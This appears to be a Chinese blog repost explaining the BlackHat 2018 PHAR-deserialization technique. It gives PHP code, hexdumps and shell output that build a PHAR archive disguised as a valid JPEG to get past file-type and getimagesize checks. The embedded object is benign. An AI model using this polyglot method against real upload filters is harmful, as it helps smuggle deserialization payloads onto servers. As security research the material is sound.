如何将Phar文件包转化成图像从而绕过文件类型检测

在美国举办的BlackHat 2018大会上,已经有白帽黑客证明可以从PHAR包获得RCE,而且,通过调整其二进制内容,可以将其伪装成完整的有效图像,绕过安全检查。

[[246702]]

背景

在美国举办的BlackHat 2018期间,来自英国网络安全公司Secarma的研究总监Sam Thomas召开了一个关于在PHP中利用phar://流包装器(stream wrapper)在服务器上执行代码执行的会议。

一个PHP应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点PHP采用了PHAR文档文件格式,这个概念源自java的jar,但是在设计时主要针对PHP的Web环境,与JAR归档不同的是PHAR归档可由PHP本身处理,因此不需要使用额外的工具来创建或使用,使用PHP脚本就能创建或提取它。PHAR是一个合成词,由PHP和Archive构成,可以看出它是PHP归档文件的意思。

在执行PHAR包时,PHP将反序列化其内容,允许攻击者启动PHP对象包含链。其中最有趣的部分是如何触发有效载荷,因为归档上的任何文件操作都将执行它。最后,不需要猜测正确的文件名,因为即使失败的文件调用也需要PHP来反序列化内容。

另外,完全可以将PHAR包伪装成100%有效的图像。

在这篇文章中,我将介绍伪装的详细过程。

降级至字节码级别

有时我们会忘记文件只是遵循预定义结构的一堆字节,但应用程序将检查它们是否能够管理这样的数据流,如果能,它们将生成一个输出。

在演讲中,Thomas给出了一个关于如何创建具有有效JPEG标头的PHAR包的提示。

按着提示,我们要做的是创建一个具有JPEG标头的文件,并相应的更新PHAR校验和。通过这种方式,文件将被视为一个图像,但PHP还能够执行它。

如果你认为更改几个字节并更新校验和就可以轻松完成操作,那你就想得太简单了。

计算校验和(至少对我来说)是件痛苦的事情,然后我就想,如果我让PHP为我做这些工作呢?

所以我改编了Thomas在演讲中提到的做法,如下所示。

  1. <?phpclass TestObject {} 
  2.  
  3. $phar = new Phar("phar.phar"); 
  4. $phar->startBuffering(); 
  5. $phar->addFromString("test.txt","test"); 
  6. $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); 
  7. $o = new TestObject(); 
  8. $phar->setMetadata($o); 
  9. $phar->stopBuffering(); 

如你所见,我将原始HEX字节添加到PHAR归档的存根部分。以下就是原HEX结果:

  1. tampe125@AlphaCentauri:~$ xxd phar.jpeg  
  2. 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_ 
  3. 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>.. 
  4. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L............... 
  5. 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test 
  6. 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}.... 
  7. 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[ 
  8. 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~.......... 
  9. 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5. 
  10. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB 

它是一个有效的PHAR和JPEG图像吗?

  1. tampe125@AlphaCentauri:~$ file phar.jpeg  
  2. phar.jpeg: JPEG image data 
  3. tampe125@AlphaCentauri:~$ php -a 
  4. php > var_dump(mime_content_type('phar.jpeg')); 
  5. php shell code:1: 
  6. string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
  7. php shell code:1: 
  8. bool(true) 

PHP将其识别为图像,但我仍然可以看到归档上的内容。

请查看存根部分并注意它是如何缺少开始的PHP标记的。这是大多数内容扫描器都无法看到的关键内容。要使归档有效,惟一需要的是__HALT_COMPILER()函数,我认为这被PHP用来表示它应该跳过多少数据。

我有一个文件,它可以通过任何基于文件标头的检查,然而任何比它更复杂的检查都会失败。例如,使用getimagesize检查图像将返回false,因为图像必定是伪造的。

  1. tampe125@AlphaCentauri:~$ php -a 
  2. php > var_dump(getimagesize('phar.jpeg')); 
  3. php shell code:1: 
  4. bool(false) 

解决图像是伪造的问题?

但我看到我可以在__HALT_COMPILER()标记之前插入我想要的任何乱码,试想,如果我用它来制作完整的图像,会怎么样呢?

在花了太多时间来讨论JPEG规范和阅读PHP源代码后,我认为我可以简单的使用GIMP创建10×10黑色图像并嵌入其中。

  1. <?phpclass TestObject {} 
  2.  
  3. $jpeg_header_size =  
  4. "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; 
  5.  
  6. $phar = new Phar("phar.phar"); 
  7. $phar->startBuffering(); 
  8. $phar->addFromString("test.txt","test"); 
  9. $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); 
  10. $o = new TestObject(); 
  11. $phar->setMetadata($o); 
  12. $phar->stopBuffering(); 

现在,检查以下我的思考成果。

  1. tampe125@AlphaCentauri:~$ file phar.jpeg  
  2. phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a 
  3. php > var_dump(mime_content_type('phar.jpeg')); 
  4. php shell code:1:string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
  5. php shell code:1:bool(true) 
  6. php > var_dump(getimagesize('phar.jpeg')); 
  7. php shell code:1: 
  8. array(7) { 
  9.   [0] =>  int(10) 
  10.   [1] =>  int(10) 
  11.   [2] =>  int(2) 
  12.   [3] =>  string(22) "width="10" height="10"
  13.   'bits' =>  int(8)  'channels' =>  int(3)  'mime' =>  string(10) "image/jpeg"} 

果然,我的努力成功了。文件是一个PHAR包,包含了我想要利用的类,但它仍然是一个有效的映像(它甚至可以通过系统映像查看器打开)。

总结

正如大家刚刚看到的那样,文件只是一堆字节,如果我所做的唯一检查是基于它们的元数据,那必定会花太多时间来讨论JPEG规范和阅读PHP源代码。最后,我发现利用核心函数来返回我想要的结果非常容易:唯一的解决方案就是真正读取文件内容并搜索恶意字符串。

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/126261.html<

(0)
管理的头像管理
上一篇2025-02-24 03:19
下一篇 2025-02-24 03:20

相关推荐

  • 骨干网络体系结构能干什么?骨干网络体系结构的作用

    骨干网络体系结构是现代信息社会的“超级高速公路网”,它通过分层设计、冗余备份和智能调度,确保海量数据在全球范围内高速、稳定、安全地传输,是支撑云计算、物联网及人工智能应用的底层基石,想象一下,如果你把互联网比作一个巨大的城市交通系统,那么骨干网络就是连接各个城市的主干道和立交桥,没有它,你的每一次微信发送、每一……

    2026-06-18
    0
  • 高io数据库可以干什么用?高io数据库适合什么场景

    高IO数据库的核心价值在于通过极高的读写吞吐量,解决海量数据场景下的性能瓶颈,是支撑高并发交易、实时分析及大规模内容分发的关键基础设施,在数字化转型的深水区,数据不再仅仅是静态的记录,而是流动的资产,传统的机械硬盘或普通SSD早已无法满足现代应用对速度的极致追求,高IO(Input/Output)数据库,就是那……

    2026-06-18
    0
  • 高io服务器性能如何?高io服务器适合什么场景

    高IO服务器并非单纯指代某种硬件,而是指在随机读写、高并发连接及小文件处理场景下,具备极致IOPS(每秒输入输出操作次数)和低延迟特性的计算资源,它是支撑现代高并发应用稳定运行的核心基石,在2026年的数字化浪潮中,业务负载早已从简单的静态页面展示演变为复杂的实时数据处理,许多开发者在排查系统瓶颈时,往往忽略了……

    2026-06-18
    0
  • 隔离网络空间哪里便宜?国内隔离网络空间价格

    隔离网络空间并没有统一的“便宜”标准,其成本高度取决于物理隔离等级、带宽需求及安全合规要求,通常物理网闸方案初期投入较高但长期运维成本低,而逻辑隔离方案虽初期便宜但存在潜在安全风险,建议根据业务敏感度选择混合隔离架构以平衡成本与安全,在数字化时代,企业构建独立网络环境的需求日益增长,但“隔离网络空间哪里便宜”这……

    2026-06-18
    0
  • 骨干网络体系结构设备为何故障?常见原因有哪些

    骨干网络体系结构设备故障的核心原因通常归结为硬件老化、配置错误、物理链路中断及外部攻击四大类,其中电源模块失效与光模块性能衰减是占比最高的隐性故障源,骨干网作为数字经济的“大动脉”,其稳定性直接关乎国计民生,当核心路由器或交换机出现丢包、震荡甚至宕机时,运维人员往往面临巨大的压力,很多人第一反应是检查软件配置……

    2026-06-18
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注